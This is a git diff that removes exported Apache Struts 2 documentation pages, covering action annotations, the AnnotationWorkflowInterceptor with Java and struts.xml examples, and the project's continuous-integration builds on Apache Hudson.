-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Annotations</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Annotations</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14017">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14017">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14017">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14017">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14017">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14017">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>In many places, applications can use Java 5 annotations as an alternative to XML and Java properties configuration. This page serves as a reference for all annotations across the framework.</p><h2 id="Annotations-ActionAnnotations">Action Annotations</h2><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="conflu [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/annotationworkflowinterceptor.html b/content/docs/annotationworkflowinterceptor.html
deleted file mode 100644
index 8e1721f..0000000
--- a/content/docs/annotationworkflowinterceptor.html
+++ /dev/null
@@ -1,223 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>AnnotationWorkflowInterceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="annotationworkflowinterceptor.html">AnnotationWorkflowInterceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">AnnotationWorkflowInterceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14252">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14252">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14252">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14252">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14252">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14252">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="AnnotationWorkflowInterceptor-AnnotationWorkflowInterceptorInterceptor">AnnotationWorkflowInterceptor Interceptor</h1>
-
-<p></p><p>Invokes any annotated methods on the action. Specifically, it supports the following
-annotations:</p>
-<ul><li> @Before - will be invoked before the action method. If the returned value is not null, it is
-returned as the action result code</li><li> @BeforeResult - will be invoked after the action method but before the result execution</li><li> @After - will be invoked after the action method and result execution</li></ul>
-
-<p></p><p>There can be multiple methods marked with the same annotations, but the order of their execution
-is not guaranteed. However, the annotated methods on the superclass chain are guaranteed to be invoked before the
-annotated method in the current class in the case of a Before annotations and after, if the annotations is
-After.</p>
-
-<h2 id="AnnotationWorkflowInterceptor-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
- public class BaseAnnotatedAction {
- 	protected String log = &quot;&quot;;
-
- 	@Before
- 	public String baseBefore() {
- 		log = log + &quot;baseBefore-&quot;;
- 		return null;
- 	}
- }
-
- public class AnnotatedAction extends BaseAnnotatedAction {
- 	@Before
- 	public String before() {
- 		log = log + &quot;before&quot;;
- 		return null;
- 	}
-
- 	public String execute() {
- 		log = log + &quot;-execute&quot;;
- 		return Action.SUCCESS;
- 	}
-
- 	@BeforeResult
- 	public void beforeResult() throws Exception {
- 		log = log +&quot;-beforeResult&quot;;
- 	}
-
- 	@After
- 	public void after() {
- 		log = log + &quot;-after&quot;;
- 	}
- }
-]]></script>
-</div></div>
-<p>Configure a stack in struts.xml that replaces the PrepareInterceptor with the AnnotationWorkflowInterceptor:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">
-&lt;interceptor-stack name="annotatedStack"&gt;
-	&lt;interceptor-ref name="static-params"/&gt;
-	&lt;interceptor-ref name="params"/&gt;
-	&lt;interceptor-ref name="conversionError"/&gt;
-	&lt;interceptor-ref name="annotationWorkflow"/&gt;
-&lt;/interceptor-stack&gt;
-</pre>
-</div></div>
-<p>Given an Action, AnnotatedAction, add a reference to the AnnotationWorkflowInterceptor interceptor.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">
-&lt;action name="AnnotatedAction" class="com.examples.AnnotatedAction"&gt;
-   &lt;interceptor-ref name="annotationWorkflow"/&gt;
-   &lt;result name="success" type="freemarker"&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-<p></p><p>With the interceptor applied and the action executed on <code>AnnotatedAction</code> the log
-instance variable will contain <code>baseBefore-before-execute-beforeResult-after</code>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-1.jpeg b/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-1.jpeg
deleted file mode 100644
index 111f69b..0000000
Binary files a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-1.jpeg and /dev/null differ
diff --git a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-2.jpeg b/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-2.jpeg
deleted file mode 100644
index f92d3d8..0000000
Binary files a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-2.jpeg and /dev/null differ
diff --git a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-3.jpeg b/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-3.jpeg
deleted file mode 100644
index 925fb57..0000000
Binary files a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-3.jpeg and /dev/null differ
diff --git a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-4.jpeg b/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-4.jpeg
deleted file mode 100644
index 9ad04c5..0000000
Binary files a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-4.jpeg and /dev/null differ
diff --git a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-5.jpeg b/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-5.jpeg
deleted file mode 100644
index 9cb52b3..0000000
Binary files a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-5.jpeg and /dev/null differ
diff --git a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-6.jpeg b/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-6.jpeg
deleted file mode 100644
index ff8d03f..0000000
Binary files a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-6.jpeg and /dev/null differ
diff --git a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-7.jpeg b/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-7.jpeg
deleted file mode 100644
index 15db518..0000000
Binary files a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-7.jpeg and /dev/null differ
diff --git a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-8.jpeg b/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-8.jpeg
deleted file mode 100644
index 92c2358..0000000
Binary files a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-8.jpeg and /dev/null differ
diff --git a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts2-1.jpeg b/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts2-1.jpeg
deleted file mode 100644
index 3ea4d49..0000000
Binary files a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts2-1.jpeg and /dev/null differ
diff --git a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts2-2.jpeg b/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts2-2.jpeg
deleted file mode 100644
index c8743e0..0000000
Binary files a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts2-2.jpeg and /dev/null differ
diff --git a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts2-3.jpeg b/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts2-3.jpeg
deleted file mode 100644
index c5fc3e4..0000000
Binary files a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts2-3.jpeg and /dev/null differ
diff --git a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.html b/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.html
deleted file mode 100644
index ae834b0..0000000
--- a/content/docs/apache-struts-pseudo-nightly-builds-on-apache-hudson.html
+++ /dev/null
@@ -1,247 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Apache Struts Pseudo-Nightly Builds on Apache Hudson</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="apache-struts-pseudo-nightly-builds-on-apache-hudson.html">Apache Struts Pseudo-Nightly Builds on Apache Hudson</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Apache Struts Pseudo-Nightly Builds on Apache Hudson</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=107776">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=107776">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=107776">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=107776">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=107776">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=107776">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="ApacheStrutsPseudo-NightlyBuildsonApacheHudson-ApacheStrutsPseudo-NightlyBuildsonApacheHudson">Apache Struts Pseudo-Nightly Builds on Apache Hudson</h1>
-
-
-<p>Apache Struts has moved their Continuous Integration builds over to the Apache owned instance of Hudson. Hudson is a popular open source CI server with a plugin interface that allows for flexible building and management. More information and documentation about Hudson is available here - <a shape="rect" class="external-link" href="https://hudson.dev.java.net/" rel="nofollow">https://hudson.dev.java.net/</a>. Out of the box, Hudson supports SVN and Apache Maven, which makes it a good f [...]
-
-<h2 id="ApacheStrutsPseudo-NightlyBuildsonApacheHudson-UserInformation">User Information</h2>
-
-<p>Hudson is currently setup to perform our SNAPSHOT builds. SNAPSHOT builds are not considered stable, but many developers use these builds because they will often contain the latest features and fixes. The price for using the latest and greatest is that you run the risk of stumbling across previously undiscovered bugs. If you are using a SNAPSHOT build and encounter a problem with the framework, then you should first ask about the problem on the user@struts.apache.org mailing list. Mos [...]
-
-<p>To see the results of the latest and previous Hudson builds, you can visit the Struts view on Hudson <a shape="rect" class="external-link" href="http://hudson.zones.apache.org/hudson/view/Struts/">here</a>. As part of the build process, Hudson is configured to deploy the artifacts to the snapshot repository. Rather than downloading the artifacts directly from Hudson, it is easier to configure your project to grab the snapshots from the snapshot repository. This is quite easy if you ar [...]
-
-<h2 id="ApacheStrutsPseudo-NightlyBuildsonApacheHudson-BuildSetup-HighLevel">Build Setup - High Level</h2>
-
-<p>Hudson's build facility is somewhat simple. You tell it where to grab the source and then it will build. Each build will checkout what you tell it to and begin building from the directory you specify. This only presents a few minor problems. My first thought was to check out the entire source tree and then dive into each individual directory (maven, struts1, struts2, sandbox) and launch a build. This did not work since Hudson wants to do one build at a time. Also, it does not allow yo [...]
-
-<h2 id="ApacheStrutsPseudo-NightlyBuildsonApacheHudson-BuildSetup-Struts1.x">Build Setup - Struts 1.x</h2>
-
-<p>The Struts 1.x build is done the same way that a person would do it. Hudson is directed to check for changes in SVN, if the source has changed since the last build, launch a new build. Let's take a look at the current setup - </p>
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-1.jpeg"></span></p>
-
-<p>Currently, the build is not setup to throw away previous builds or enable parameters. There are no needs for parameterized builds since Hudson allows us to specify the Maven goals we want to build. No one has complained yet about the space we are taking up on the Hudson zone, so there is also no need to throw away previous builds. Moving down a little further - </p>
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-2.jpeg"></span></p>
-
-<p>The Struts 1.x build does not currently require any batch tasks. In the Struts 2.x builds, as you will see below, batch tasks are used to fix permissions and push out the nightlies from the assembly goal. More on this later. We do not use the "Promote Builds" functionality. The option to "Disable Build" is left unchecked so that builds will happen as scheduled. If there is a compile problem and Hudson is spamming the dev@struts.apache.org mailing list, this option can be checked to st [...]
-
